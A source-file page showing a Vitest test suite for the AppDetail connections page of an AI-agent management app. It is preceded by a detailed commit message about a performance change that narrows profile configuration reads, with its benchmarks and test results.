Files
PaperClipAI/ui/src/pages/apps/AppDetail.test.tsx
T
DottaandPaperclip 554a770c6f perf(apps): scope connection profile configuration reads (#18687)
## Thinking Path

> - Paperclip is the open source app people use to manage AI agents for
work.
> - The Apps Permissions page reads saved access profiles for one
connection.
> - The page fetched every company profile, rule, and binding.
> - It used only the app profile and eligible task-granted profiles for
that connection.
> - This pull request adds a saved configuration read owned by the
profile service.
> - The route keeps current connection and per-profile management
checks.
> - The benefit is fewer database rows, less Node work, and a smaller
response for the same displayed configuration.

## Linked Issues or Issue Description

**Subsystem affected**

Server profile configuration reads and the Apps Permissions and Review
data caller.

**Problem or motivation**

One connection page loaded and serialized unrelated company profiles. In
the local fixture, this produced a 32.35 MB response with 76,001 rule
rows.

**Proposed solution**

Select the displayed connection's app profile and exact eligible
connection-intent profiles before loading their entries and bindings.
Return an explicit configuration DTO with complete selected arrays. Keep
summary and pending-review work on the existing full API.

**Alternatives considered**

Filtering the full response in the browser retains the database and Node
cost. Truncating the full API would break other clients. Filtering
entries to the connection would lose selectors and bindings needed by
saves.

**Roadmap alignment**

This improves the existing governed Apps capability. It does not add a
new access policy. Related merged work: #18673 and #18681. Related
harness cleanup: #18683. Public PR searches found no duplicate
connection configuration projection.

## What Changed

- Add `ToolProfileConfiguration` and `GET
/api/tool-connections/{connectionId}/profile-configuration`.
- Select `app:<connectionId>` at any status and exact active, correctly
bound `connection_intent` profiles. Run the existing per-profile
visibility filter before configuration queries.
- Preserve complete ordered entries and bindings. Keep all save
behavior, empty-binding install fallback, and the existing full profile
API.
- Switch AppDetail and AgentConnectionAccess to the configuration DTO.
Use a distinct cache key below the existing profiles prefix so mutation
and reconnect invalidations still refresh it.
- Add real PostgreSQL differential and authenticated HTTP tests, UI
caller coverage, a reproducible benchmark, and access-map documentation.

## Verification

Baseline: `3f8ebfff8aa9febd0733c6f65b07485dcadfd0e2`, after both #18673
and #18681. Final head: `b40c1ed7c0833d403e20ee8a5ff9d09f1bad6d22`.
Current implementation and reproduction details are in [the performance
note](https://github.com/paperclipai/paperclip/blob/b40c1ed7c0833d403e20ee8a5ff9d09f1bad6d22/doc/performance/2026-11-02-connection-profile-configuration.md).

- AppDetail: 79 tests passed. Existing access/action saves, install
fallback, grant removal, errors, and refresh cases use the new caller.
- Real PostgreSQL differential: passed. Full ordered selected
configuration equals the old full-list selection. Cases cover extra
bindings, sibling selectors, wrong source/key/status/binding, null and
non-string agent metadata, fresh mutations, empty app bindings,
visibility filtering, and company scope.
- Production HTTP authentication: API key and run JWT cases passed.
Hidden personal accounts omit spanning profiles. Private connection
reads fail. Restored ownership restores visibility. Revoked management
grants deny fresh calls. Final UID canonicalization and foreign-company
404 assertions passed on the current head.
- Map structural check, token gate, and `git diff --check`: passed.
- Required local `pnpm -r typecheck` and `pnpm build`: passed on the
current head. `pnpm test:run` was started once. Its first chat shard
passed (337 tests, 151.87 seconds); the second shard was intentionally
interrupted after the complete final-head CI suite passed. This partial
local attempt is not a full local test pass. The same stable-runner
general and serialized partitions and Runner lanes passed in [final-head
CI](https://github.com/paperclipai/paperclip/actions/runs/41538805231),
including aggregate `ci / verify`. No local assertion failures were
observed before interruption.
- Final-head focused acceptance: four files, 85 tests passed. Full token
gates, maps, and module boundaries passed.
- Actual browser acceptance passed on the current checkout with isolated
real PostgreSQL and a local trusted board. An action saved as Off
persisted after reload. Both app agent bindings stayed intact. Removing
an agent-only task grant persisted after reload. Requests used only the
narrow profile endpoint. No browser exceptions occurred. No responses
were mocked. No provider calls or hosted changes were made. The helper
stopped the owned runtime and database after the check.
- Final exact-head checks: 54 success, one clean neutral Paperclip
Review, three skipped, zero pending or failures. Legacy Snyk status:
success. No inline review comments.
- Greptile reviewed exact head
`b40c1ed7c0833d403e20ee8a5ff9d09f1bad6d22`: 5/5, no findings, completed
successful check.

Five alternating unprofiled pairs ran with real PostgreSQL on
macOS/arm64, Node v24.22.2, and forced GC. The fixture has 210 profiles
(200 heavy profiles plus ten eligibility cases), 76,001 rules, 1,900
active tools, 695 removed tools, and 12 agents. The selected
configuration has two profiles and 1,391 rules. Each pair asserts
complete ordered selected DTO equality.

| Measurement | Full list | Configuration read |
| --- | --- | --- |
| Service wall ms, median [min, max] | 200.927 [193.319, 213.390] |
6.414 [5.508, 6.973] |
| Node CPU ms, median [min, max] | 262.751 [246.727, 271.573] | 27.525
[22.576, 29.308] |
| Select queries / returned rows | 7 / 78,139 | 3 / 1,397 |
| Actual response JSON bytes | 32,353,534 | 592,233 |
| Serialization wall ms, median [min, max] | 90.714 [88.715, 99.304] |
1.644 [1.637, 1.745] |
| Serialization CPU ms, median [min, max] | 90.644 [88.569, 96.778] |
1.654 [1.637, 1.807] |

Reproduce: `node --expose-gc --import
./server/node_modules/tsx/dist/loader.mjs
server/scripts/benchmark-connection-profile-configuration.ts 5`.

The benchmark measures the service and actual response JSON separately.
It excludes HTTP and authorization work through an identity visibility
callback. Node CPU does not include PostgreSQL CPU. No hosted or
foreground-under-load improvement is claimed.

Preserved failures: offline install lacked a locked tarball; frozen
online install passed. Sandbox localhost and tsx IPC restrictions
blocked initial DB/typecheck attempts; permitted retries use the same
checks. The first HTTP suite needed the unbuilt plugin SDK; its owning
build helper fixed setup. Shared typecheck caught a missing barrel
export, now fixed. A broad typecheck inherited the host's unpinned
nested pnpm executable; the owned stalled process was stopped and
restarted with pinned pnpm 9. The complete current-head CI suite and
aggregate verify passed. The separate Paperclip agent review published
5/5 with no findings at this head and completed with a clean neutral
conclusion. An added foreign-company assertion expected 403; the
existing guard correctly returned 404. Only the test expectation
changed. The first real browser attempt saved and reloaded the action
correctly, but grant deletion returned 422: the stress fixture had a
company binding, which makes that profile the company default. The UI
showed the existing deletion error. The second browser seed used the
production agent-only intent shape and passed removal and reload. This
does not change the stress fixture or product deletion gates. Initial
external browser script attempts also needed an ESM extension and the
correct dependency path. Logs, first-failure screenshots, traces, and
result files are retained in the local evidence directory.

## Risks

- SQL selection must stay aligned with connection-intent eligibility.
Differential fixtures cover the exact current predicate.
- A selected connection can still have many rules. This change preserves
all selected configuration.
- Per-profile authorization still reads current selected resources and
can add work. Connection visibility does not bypass that check.
- No migration, default-allow, effective-access, policy-review,
provider, or deployment behavior changes. The old endpoint remains
available. Rollback restores the old AppDetail caller and removes the
additive endpoint.

## Model Used

OpenAI Codex, `gpt-6.1-sol`, with code execution and repository tools.
The host does not expose the context-window size.

## Checklist

- [x] I have included a thinking path that traces from project context
to this change
- [x] I have specified the model used (with version and capability
details)
- [x] I have checked ROADMAP.md and confirmed this PR does not duplicate
planned core work
- [x] I have searched GitHub for duplicate or related PRs and linked
them above
- [x] I have either (a) linked existing issues with `Fixes: #` / `Closes
#` / `Refs #` OR (b) described the issue in-PR following the relevant
issue template
- [x] I have not referenced internal/instance-local Paperclip issues or
links (only public GitHub `#NNN` / `github.com/paperclipai/paperclip`
URLs)
- [x] My branch name describes the change (e.g. `docs/...`, `fix/...`)
and contains no internal Paperclip ticket id or instance-derived details
- [x] I have run tests locally and they pass
- [x] I have added or updated tests where applicable
- [x] I have updated relevant documentation to reflect my changes
- [x] I have considered and documented any risks above
- [x] All Paperclip CI gates are green
- [x] Greptile is 5/5 with no open P2s, recommendations, or follow-ups
- [x] I will address all Greptile and reviewer comments before
requesting merge

---------

Co-authored-by: Paperclip <noreply@paperclip.ing>
2026-11-02 16:55:56 -06:00

2061 lines
84 KiB
TypeScript
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
// @vitest-environment jsdom
import { flushSync } from "react-dom";
import type { ReactNode } from "react";
import { createRoot } from "react-dom/client";
import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
import { getAppStoreDefinition } from "@paperclipai/shared";
import type { AggregatorAppSnapshot, AggregatorAppsResponse } from "@paperclipai/shared/aggregator-apps";
import { ApiError } from "@/api/client";
import { queryKeys } from "@/lib/queryKeys";
import { rememberSkillSourceReturn, skillSourceReturnPath } from "@/lib/skill-source-connect-return";
import { AppDetail } from "./AppDetail";
import { APP_TABS } from "./app-tabs";
const getConnectionMock = vi.hoisted(() => vi.fn());
const getConnectionInstallsMock = vi.hoisted(() => vi.fn());
const listApplicationsMock = vi.hoisted(() => vi.fn());
const listGalleryMock = vi.hoisted(() => vi.fn());
const listConnectionsMock = vi.hoisted(() => vi.fn());
const listCatalogMock = vi.hoisted(() => vi.fn());
const listConnectionProfileConfigurationMock = vi.hoisted(() => vi.fn());
const listPoliciesMock = vi.hoisted(() => vi.fn());
const listConnectionActivityMock = vi.hoisted(() => vi.fn());
const listActionRequestsMock = vi.hoisted(() => vi.fn());
const listTestAgentsMock = vi.hoisted(() => vi.fn());
const getTestAgentAccessMock = vi.hoisted(() => vi.fn());
const updateConnectionMock = vi.hoisted(() => vi.fn());
const finishAppMock = vi.hoisted(() => vi.fn());
const deleteProfileMock = vi.hoisted(() => vi.fn());
const finalizeOAuthAccessMock = vi.hoisted(() => vi.fn());
const putConnectionInstallsMock = vi.hoisted(() => vi.fn());
const refreshCatalogMock = vi.hoisted(() => vi.fn());
const checkConnectionHealthMock = vi.hoisted(() => vi.fn());
const startOAuthMock = vi.hoisted(() => vi.fn());
const reconnectConnectionMock = vi.hoisted(() => vi.fn());
const listConnectionGrantsMock = vi.hoisted(() => vi.fn());
const revokeConnectionGrantMock = vi.hoisted(() => vi.fn());
const createConnectionGrantDelegationMock = vi.hoisted(() => vi.fn());
const revokeConnectionGrantDelegationMock = vi.hoisted(() => vi.fn());
const replaceConnectionGrantMembersMock = vi.hoisted(() => vi.fn());
const startPersonalAuthorizationMock = vi.hoisted(() => vi.fn());
const listUserDirectoryMock = vi.hoisted(() => vi.fn());
const getSessionMock = vi.hoisted(() => vi.fn());
const listAggregatorAppsMock = vi.hoisted(() => vi.fn());
const syncAggregatorAppsMock = vi.hoisted(() => vi.fn());
const mockNavigate = vi.hoisted(() => vi.fn());
const mockParams = vi.hoisted(() => ({ connectionId: "conn-1", tab: "permissions" as string | undefined }));
const mockSearchParams = vi.hoisted(() => ({ value: new URLSearchParams() }));
const navigateComponentMock = vi.hoisted(() => vi.fn());
const navigateTopLevelMock = vi.hoisted(() => vi.fn());
vi.mock("@/api/tools", () => ({
toolsApi: {
listAggregatorApps: (connectionId: string) => listAggregatorAppsMock(connectionId),
syncAggregatorApps: (connectionId: string, force: boolean) => syncAggregatorAppsMock(connectionId, force),
getConnection: (connectionId: string) => getConnectionMock(connectionId),
getConnectionInstalls: (connectionId: string) => getConnectionInstallsMock(connectionId),
listApplications: (companyId: string) => listApplicationsMock(companyId),
listGallery: (companyId: string) => listGalleryMock(companyId),
listConnections: (companyId: string) => listConnectionsMock(companyId),
listCatalog: (connectionId: string) => listCatalogMock(connectionId),
listConnectionProfileConfiguration: (connectionId: string) => listConnectionProfileConfigurationMock(connectionId),
deleteProfile: (profileId: string) => deleteProfileMock(profileId),
listPolicies: (companyId: string) => listPoliciesMock(companyId),
listConnectionActivity: (connectionId: string, limit: number) =>
listConnectionActivityMock(connectionId, limit),
listActionRequests: (companyId: string, status: string) =>
listActionRequestsMock(companyId, status),
listTestAgents: (connectionId: string) => listTestAgentsMock(connectionId),
getTestAgentAccess: (connectionId: string, agentId: string) =>
getTestAgentAccessMock(connectionId, agentId),
updateConnection: (connectionId: string, input: unknown) =>
updateConnectionMock(connectionId, input),
finishApp: (companyId: string, connectionId: string, input: unknown) =>
finishAppMock(companyId, connectionId, input),
finalizeOAuthAccess: (companyId: string, connectionId: string, input: unknown) =>
finalizeOAuthAccessMock(companyId, connectionId, input),
putConnectionInstalls: (connectionId: string, installs: unknown) =>
putConnectionInstallsMock(connectionId, installs),
archiveConnection: vi.fn(),
refreshCatalog: (connectionId: string) => refreshCatalogMock(connectionId),
checkConnectionHealth: (connectionId: string) => checkConnectionHealthMock(connectionId),
startOAuth: (connectionId: string, input?: unknown) => input === undefined
? startOAuthMock(connectionId)
: startOAuthMock(connectionId, input),
listConnectionGrants: (connectionId: string) => listConnectionGrantsMock(connectionId),
revokeConnectionGrant: (connectionId: string, grantId: string) =>
revokeConnectionGrantMock(connectionId, grantId),
createConnectionGrantDelegation: (connectionId: string, grantId: string, agentId: string) =>
createConnectionGrantDelegationMock(connectionId, grantId, agentId),
revokeConnectionGrantDelegation: (
connectionId: string,
grantId: string,
delegationId: string,
) => revokeConnectionGrantDelegationMock(connectionId, grantId, delegationId),
replaceConnectionGrantMembers: (connectionId: string, grantId: string, memberUserIds: string[]) =>
replaceConnectionGrantMembersMock(connectionId, grantId, memberUserIds),
startPersonalAuthorization: (companyId: string, connectionId: string, input: unknown) =>
startPersonalAuthorizationMock(companyId, connectionId, input),
reconnectConnection: (id: string, values: unknown) => reconnectConnectionMock(id, values),
},
}));
vi.mock("./AppLogo", () => ({
AppLogo: ({
name,
brandKey,
logoUrl,
allowRemoteFallback,
}: {
name: string;
brandKey?: string | null;
logoUrl?: string | null;
allowRemoteFallback?: boolean;
}) => (
<span
data-app-logo={name}
data-brand-key={brandKey ?? ""}
data-logo-url={logoUrl ?? ""}
data-allow-remote-fallback={allowRemoteFallback ? "true" : "false"}
/>
),
}));
vi.mock("@/api/access", () => ({
accessApi: {
listUserDirectory: (companyId: string) => listUserDirectoryMock(companyId),
},
}));
vi.mock("@/api/auth", () => ({
authApi: {
getSession: () => getSessionMock(),
},
}));
vi.mock("@/api/agents", () => ({
agentsApi: {
list: vi.fn().mockResolvedValue([
{ id: "agent-1", name: "Coder", title: "Engineer", status: "active" },
]),
},
}));
vi.mock("@/lib/browserNavigation", () => ({
navigateTopLevel: (target: string) => navigateTopLevelMock(target),
}));
vi.mock("@/lib/router", () => ({
useParams: () => mockParams,
useNavigate: () => mockNavigate,
useSearchParams: () => [mockSearchParams.value, vi.fn()],
Navigate: ({ to, replace }: { to: string; replace?: boolean }) => {
navigateComponentMock({ to, replace });
return <div data-navigate-to={to} />;
},
Link: ({ to, children, ...props }: { to: string; children: ReactNode }) => (
<a href={to} {...props}>
{children}
</a>
),
}));
vi.mock("@/context/CompanyContext", () => ({
useCompany: () => ({
selectedCompanyId: "company-1",
selectedCompany: { id: "company-1", name: "Paperclip" },
}),
}));
vi.mock("@/context/BreadcrumbContext", () => ({
useBreadcrumbs: () => ({ setBreadcrumbs: vi.fn() }),
}));
const pushToastMock = vi.hoisted(() => vi.fn());
vi.mock("@/context/ToastContext", () => ({
useToast: () => ({ pushToast: pushToastMock }),
}));
// eslint-disable-next-line @typescript-eslint/no-explicit-any
(globalThis as any).IS_REACT_ACT_ENVIRONMENT = true;
async function act(callback: () => void | Promise<void>) {
let result: void | Promise<void> = undefined;
flushSync(() => {
result = callback();
});
await result;
}
async function flushReact() {
for (let i = 0; i < 3; i += 1) {
await act(async () => {
await Promise.resolve();
await new Promise((resolve) => window.setTimeout(resolve, 0));
});
}
}
function connection(overrides: Record<string, unknown> = {}) {
return {
id: "conn-1",
companyId: "company-1",
applicationId: "app-1",
name: "GitHub",
connectionKind: "managed",
transport: "mcp_remote",
status: "active",
transportConfig: { url: "https://github.example/mcp" },
config: { url: "https://github.example/mcp" },
credentialSecretRefs: [],
credentialRefs: [],
healthStatus: "healthy",
healthCheckedAt: null,
lastError: null,
enabled: true,
lastUsedAt: null,
createdByAgentId: null,
createdByUserId: null,
createdAt: new Date("2026-01-01T00:00:00Z"),
updatedAt: new Date("2026-01-01T00:00:00Z"),
...overrides,
};
}
/** A member who may configure this connection and edit every agent. */
function fullCapabilities(overrides: Record<string, unknown> = {}) {
return {
canConfigure: true,
canCreateOrganizationGrant: true,
canSetCompanyInstall: true,
canConnectAsCurrentUser: true,
canManageAgentInstalls: true,
canViewOtherPersonalIdentities: false,
editableAgentIds: ["agent-1", "agent-2"],
...overrides,
};
}
function organizationGrant(overrides: Record<string, unknown> = {}) {
return {
id: "grant-org",
companyId: "company-1",
connectionId: "conn-1",
kind: "organization",
subjectUserId: null,
providerTenant: { name: "Notion workspace" },
credentialSecretRefs: [],
status: "active",
isDefault: true,
createdByAgentId: null,
createdByUserId: "user-1",
revokedAt: null,
revokedByAgentId: null,
revokedByUserId: null,
lastUsedAt: null,
createdAt: new Date("2026-01-01T00:00:00Z"),
updatedAt: new Date("2026-01-01T00:00:00Z"),
members: [],
capabilities: { canRevoke: true, canEditAudience: true },
...overrides,
};
}
function personalGrant(overrides: Record<string, unknown> = {}) {
return {
...organizationGrant(),
id: "grant-user",
kind: "user",
subjectUserId: "user-1",
providerTenant: null,
isDefault: false,
capabilities: { canRevoke: true, canEditAudience: false },
...overrides,
};
}
function dedicatedGitHubGrant(
overrides: Record<string, unknown> = {},
githubOverrides: Record<string, unknown> = {},
) {
return organizationGrant({
id: "grant-agent",
kind: "agent",
subjectAgentId: "agent-1",
subjectUserId: null,
isDefault: false,
providerTenant: {
github: {
userId: "123",
login: "dottabot",
installationCount: 1,
repositoryCount: 1,
repositorySelection: "selected",
installationIds: ["456"],
installationOwnerLogins: ["paperclipai"],
repositories: [{ id: "789", fullName: "paperclipai/test-repo", installationId: "456" }],
installationUrl: "https://github.com/apps/paperclip-test/installations/new",
managementUrl: "https://github.com/settings/installations/456",
webhookHealth: "pending",
lastWebhookAt: null,
lastAccessRefreshAt: "2026-09-05T12:00:00.000Z",
...githubOverrides,
},
},
...overrides,
});
}
function catalogEntry(overrides: Record<string, unknown> = {}) {
return {
id: "catalog-read",
companyId: "company-1",
connectionId: "conn-1",
toolName: "read_repo",
title: "Read repo",
description: "Read repository metadata",
status: "active",
isReadOnly: true,
riskLevel: "read",
createdAt: new Date("2026-01-01T00:00:00Z"),
updatedAt: new Date("2026-01-01T00:00:00Z"),
...overrides,
};
}
function setInputValue(input: HTMLInputElement, value: string) {
const setter = Object.getOwnPropertyDescriptor(
window.HTMLInputElement.prototype,
"value",
)?.set;
setter?.call(input, value);
input.dispatchEvent(new Event("input", { bubbles: true }));
}
function aggregatorApps(apps: AggregatorAppSnapshot[] = []): AggregatorAppsResponse {
return {
provider: "composio", apps, discovery: { availability: "available", message: null },
sync: { status: "ready", coverage: "supported_catalog", checked: 2, total: 2, failed: 0,
lastCompletedAt: new Date().toISOString(), error: null },
};
}
function observedApp(toolkit: string, name: string, overrides: Partial<AggregatorAppSnapshot> = {}): AggregatorAppSnapshot {
return { connectionId: "conn-1", provider: "composio", appSlug: toolkit, appName: name, toolkit,
status: "connected", freshness: "fresh", checkedAt: new Date().toISOString(), errorAt: null,
accounts: [{ id: `${toolkit}-account`, alias: null, status: "ACTIVE", isDefault: true }], ...overrides };
}
describe("AppDetail", () => {
let container: HTMLDivElement;
let root: ReturnType<typeof createRoot>;
beforeEach(() => {
sessionStorage.clear();
container = document.createElement("div");
document.body.appendChild(container);
mockParams.connectionId = "conn-1";
mockParams.tab = "permissions";
mockSearchParams.value = new URLSearchParams();
getConnectionMock.mockResolvedValue(connection());
listAggregatorAppsMock.mockResolvedValue(aggregatorApps());
syncAggregatorAppsMock.mockResolvedValue(aggregatorApps());
getConnectionInstallsMock.mockResolvedValue({ connectionId: "conn-1", installs: [] });
listApplicationsMock.mockResolvedValue({
applications: [{ id: "app-1", applicationKey: "github", name: "GitHub", status: "active" }],
});
listConnectionsMock.mockResolvedValue({ connections: [] });
listConnectionGrantsMock.mockResolvedValue({
connection: { id: "conn-1", uid: "conn-1" },
grants: [],
capabilities: fullCapabilities(),
currentUserId: "user-1",
members: [],
});
listGalleryMock.mockResolvedValue({
apps: [
{
key: "github",
name: "GitHub",
logoUrl: "https://example.com/github.png",
tagline: "GitHub tagline",
description: "Give agents a governed way to inspect repositories and pull requests.",
authKind: "api_key",
transportTemplate: { transport: "mcp_remote", url: "https://github.example/mcp" },
credentialFields: [],
recommendedDefaults: {},
urlPatterns: [],
},
],
});
listCatalogMock.mockResolvedValue({
catalog: [
catalogEntry(),
catalogEntry({
id: "catalog-write",
toolName: "write_issue",
title: "Write issue",
description: "Create or update an issue",
isReadOnly: false,
}),
catalogEntry({
id: "catalog-quarantined",
toolName: "delete_repo",
title: "Delete repo",
status: "quarantined",
isReadOnly: false,
}),
],
});
listConnectionProfileConfigurationMock.mockResolvedValue({
profiles: [
{
profileKey: "app:conn-1",
entries: [
{ effect: "include", catalogEntryId: "catalog-read" },
{ effect: "include", catalogEntryId: "catalog-write" },
],
bindings: [{ targetType: "company" }],
},
],
});
listPoliciesMock.mockResolvedValue({
policies: [
{
policyType: "require_approval",
enabled: true,
config: {
source: "app_gallery_finish",
connectionId: "conn-1",
catalogEntryId: "catalog-write",
},
},
],
});
listConnectionActivityMock.mockResolvedValue({ events: [], issues: {}, actionRequests: {} });
listActionRequestsMock.mockResolvedValue({ actionRequests: [] });
listTestAgentsMock.mockResolvedValue({ agents: [] });
updateConnectionMock.mockResolvedValue(connection({ enabled: false }));
finishAppMock.mockResolvedValue({});
deleteProfileMock.mockResolvedValue({ deleted: true });
finalizeOAuthAccessMock.mockResolvedValue({});
putConnectionInstallsMock.mockResolvedValue({ connectionId: "conn-1", installs: [] });
checkConnectionHealthMock.mockResolvedValue({ connection: connection(), healthStatus: "ok" });
refreshCatalogMock.mockResolvedValue({ discoveredCount: 0, quarantinedCount: 0, catalog: [] });
startOAuthMock.mockResolvedValue({
connectionId: "conn-1",
provider: "smoke_lab",
authorizationUrl: "https://example.test/oauth",
expiresAt: "2026-07-10T00:00:00.000Z",
});
createConnectionGrantDelegationMock.mockResolvedValue({
id: "delegation-1",
grantId: "grant-user",
agentId: "agent-1",
});
revokeConnectionGrantDelegationMock.mockResolvedValue({});
listUserDirectoryMock.mockResolvedValue({ users: [] });
getSessionMock.mockResolvedValue({
user: { id: "user-1", name: "Dotta", image: null },
session: { userId: "user-1" },
});
});
afterEach(() => {
flushSync(() => root?.unmount());
container.remove();
vi.restoreAllMocks();
vi.clearAllMocks();
});
async function renderAppDetail() {
const client = new QueryClient({ defaultOptions: { queries: { retry: false } } });
root = createRoot(container);
await act(async () => {
root.render(
<QueryClientProvider client={client}>
<AppDetail />
</QueryClientProvider>,
);
});
await flushReact();
return client;
}
function useComposioConnection() {
getConnectionMock.mockResolvedValue(connection({ name: "Composio", authKind: "oauth",
config: { sourceTemplateKey: "composio", connectionMethodKey: "mcp" } }));
listApplicationsMock.mockResolvedValue({ applications: [{ id: "app-1", applicationKey: "composio", name: "Composio", metadata: { sourceTemplateKey: "composio" } }] });
}
it("refreshes connected apps on first load, shows progress, and exposes the completed inventory", async () => {
useComposioConnection();
const prior = aggregatorApps([observedApp("airtable", "Airtable")]);
const completed = aggregatorApps([observedApp("circleback-mcp", "Circleback")]);
listAggregatorAppsMock.mockResolvedValue(prior);
syncAggregatorAppsMock.mockResolvedValue({ ...prior, sync: { ...prior.sync, status: "syncing", checked: 0 } });
const client = await renderAppDetail();
await vi.waitFor(() => expect(container.textContent).toContain("Refreshing apps… 0 of 2"));
expect(syncAggregatorAppsMock).toHaveBeenCalledTimes(1);
expect(syncAggregatorAppsMock).toHaveBeenCalledWith("conn-1", true);
expect(container.querySelector<HTMLButtonElement>('button[aria-label="Refresh Composio"]')?.disabled).toBe(true);
expect(container.textContent).not.toContain("Provider permissions come from your last sign-in");
expect(container.textContent).not.toContain("Reconnect to update permissions");
listAggregatorAppsMock.mockResolvedValue(completed);
await act(async () => { await client.refetchQueries({ queryKey: queryKeys.tools.aggregatorApps("conn-1", "user-1"), exact: true }); });
await flushReact();
const list = container.querySelector('ul[aria-label="Connected Composio apps"]')!;
expect(list.textContent).toContain("Circleback");
expect(list.textContent).not.toContain("Airtable");
expect(container.textContent).toContain("Apps refreshed.");
expect(container.querySelector<HTMLButtonElement>('button[aria-label="Refresh Composio"]')?.disabled).toBe(false);
expect(syncAggregatorAppsMock).toHaveBeenCalledTimes(1);
});
it("manual refresh updates only this gateway and retains previous apps when it fails", async () => {
useComposioConnection();
const observed = aggregatorApps([observedApp("notion", "Notion")]);
listAggregatorAppsMock.mockResolvedValue(observed);
syncAggregatorAppsMock.mockResolvedValue(observed);
await renderAppDetail();
await vi.waitFor(() => expect(container.textContent).toContain("Apps refreshed."));
expect(container.querySelector<HTMLButtonElement>('button[aria-label="Refresh Composio"]')?.disabled).toBe(false);
syncAggregatorAppsMock.mockRejectedValueOnce(new Error("Authorization expired"));
await act(async () => container.querySelector<HTMLButtonElement>('button[aria-label="Refresh Composio"]')!.click());
await flushReact();
await vi.waitFor(() => expect(container.querySelector('[role="alert"]')?.textContent).toContain("Last known apps are shown."));
expect(container.querySelector('ul[aria-label="Connected Composio apps"]')?.textContent).toContain("NotionNot verified");
expect(syncAggregatorAppsMock.mock.calls).toEqual([["conn-1", true], ["conn-1", true]]);
expect(finishAppMock).not.toHaveBeenCalled();
expect(startOAuthMock).not.toHaveBeenCalled();
});
it("groups provider variants and displays sign-in status without treating unseen apps as connected", async () => {
useComposioConnection();
const observed = aggregatorApps([
observedApp("notion", "Notion"), observedApp("notion_mcp", "Notion", { appSlug: "notion" }),
observedApp("slack", "Slack", { accounts: [{ id: "expired", alias: null, status: "EXPIRED", isDefault: false }] }),
observedApp("github", "GitHub", { status: "not_connected", accounts: [] }),
]);
listAggregatorAppsMock.mockResolvedValue(observed);
syncAggregatorAppsMock.mockResolvedValue(observed);
await renderAppDetail();
await vi.waitFor(() => expect(container.textContent).toContain("Apps refreshed."));
const list = container.querySelector('ul[aria-label="Connected Composio apps"]')!;
expect(list.querySelectorAll("li")).toHaveLength(2);
expect(list.textContent).toContain("Notion2 accountsConnected");
expect(list.textContent).toContain("SlackNeeds sign-in");
expect(list.textContent).not.toContain("GitHub");
});
it("keeps unavailable discovery explicit without automatically retrying unsupported gateways", async () => {
useComposioConnection();
listAggregatorAppsMock.mockResolvedValue({ ...aggregatorApps(), discovery: { availability: "unsupported", message: "Account discovery unavailable." } });
await renderAppDetail();
await vi.waitFor(() => expect(container.textContent).toContain("Account discovery unavailable."));
expect(syncAggregatorAppsMock).not.toHaveBeenCalled();
expect(container.querySelector<HTMLButtonElement>('button[aria-label="Refresh Composio"]')?.disabled).toBe(true);
});
it.each([
["UNVERIFIED", "Not verified"],
["INITIATED", "Waiting for sign-in"],
["EXPIRED", "Needs sign-in"],
])("shows %s provider health as %s", async (status, label) => {
useComposioConnection();
const observed = aggregatorApps([observedApp("notion", "Notion", {
accounts: [{ id: "account", alias: null, status, isDefault: false }],
})]);
listAggregatorAppsMock.mockResolvedValue(observed);
syncAggregatorAppsMock.mockResolvedValue(observed);
await renderAppDetail();
await vi.waitFor(() => expect(container.textContent).toContain("Apps refreshed."));
expect(container.querySelector('ul[aria-label="Connected Composio apps"]')?.textContent).toBe(`Notion${label}`);
});
it("does not request manager-only account inventory without configuration access", async () => {
useComposioConnection();
listConnectionGrantsMock.mockResolvedValue({ grants: [], capabilities: fullCapabilities({ canConfigure: false }), currentUserId: "user-1", members: [] });
await renderAppDetail();
expect(listAggregatorAppsMock).not.toHaveBeenCalled();
expect(syncAggregatorAppsMock).not.toHaveBeenCalled();
expect(container.textContent).not.toContain("Connected apps");
});
it.each([
{ transport: "rest_api", config: { sourceTemplateKey: "composio", connectionMethodKey: "api-key" } },
{ transport: "mcp_remote", config: { provider: "composio", parentConnectionId: "old-parent", toolkitSlug: "github" } },
])("shows replacement and explicit removal for a retired Composio record", async (legacy) => {
getConnectionMock.mockResolvedValue(connection({ ...legacy, enabled: false, healthStatus: "error" }));
await renderAppDetail();
expect(container.textContent).toContain("Connection retired");
expect(container.textContent).toContain("Remove each obsolete connection separately");
expect(container.textContent).not.toContain("Paused");
expect(container.textContent).not.toContain("Refresh actions");
const replacement = Array.from(container.querySelectorAll("button")).find((b) => b.textContent === "Add Composio MCP connection")!;
await act(async () => replacement.click());
expect(mockNavigate).toHaveBeenCalledWith("/apps/connect?source=composio");
const danger = Array.from(container.querySelectorAll("button")).find((b) => b.textContent?.includes("Danger zone"))!;
await act(async () => danger.click());
expect(container.textContent).toContain("Remove app");
expect(Array.from(container.querySelectorAll("button")).some((b) => b.textContent === "Reconnect")).toBe(false);
});
it("uses Permissions as the primary connection page and has no Setup tab", () => {
expect(APP_TABS.map((tab) => tab.key)).toEqual([
"permissions",
"review",
]);
});
it("allows the gallery logo fallback after application identity lookup fails", async () => {
listApplicationsMock.mockRejectedValueOnce(new Error("Application lookup unavailable"));
await renderAppDetail();
expect(container.querySelector("[data-app-logo]")?.getAttribute("data-allow-remote-fallback")).toBe("true");
});
it("keeps a customized connection logo after application identity lookup fails", async () => {
getConnectionMock.mockResolvedValue(connection({
name: "Dotta's source control",
config: {
url: "https://github.example/mcp",
sourceTemplateKey: "github",
},
}));
listApplicationsMock.mockRejectedValueOnce(new Error("Application lookup unavailable"));
await renderAppDetail();
const logo = container.querySelector("[data-app-logo]");
expect(logo?.getAttribute("data-brand-key")).toBe("github");
expect(logo?.getAttribute("data-logo-url")).toBe("https://example.com/github.png");
expect(logo?.getAttribute("data-allow-remote-fallback")).toBe("true");
});
it("keeps the unverified-server marker on URL-only connection details", async () => {
getConnectionMock.mockResolvedValue(
connection({
name: "127.0.0.1",
config: { url: "http://127.0.0.1:8848/mcp" },
transportConfig: { url: "http://127.0.0.1:8848/mcp" },
}),
);
await renderAppDetail();
expect(container.textContent).toContain("Custom app");
expect(container.textContent).toContain("hosted at 127.0.0.1");
expect(container.textContent).toContain("Unverified server");
expect(container.textContent).toContain("127.0.0.1:8848");
});
it("redirects a missing tab to Permissions", async () => {
mockParams.tab = undefined;
await renderAppDetail();
expect(navigateComponentMock).toHaveBeenCalledWith({ to: "/apps/conn-1/permissions", replace: true });
});
it.each([
["review", "Review 1 new action"],
["permissions", "Which agents can use this connection?"],
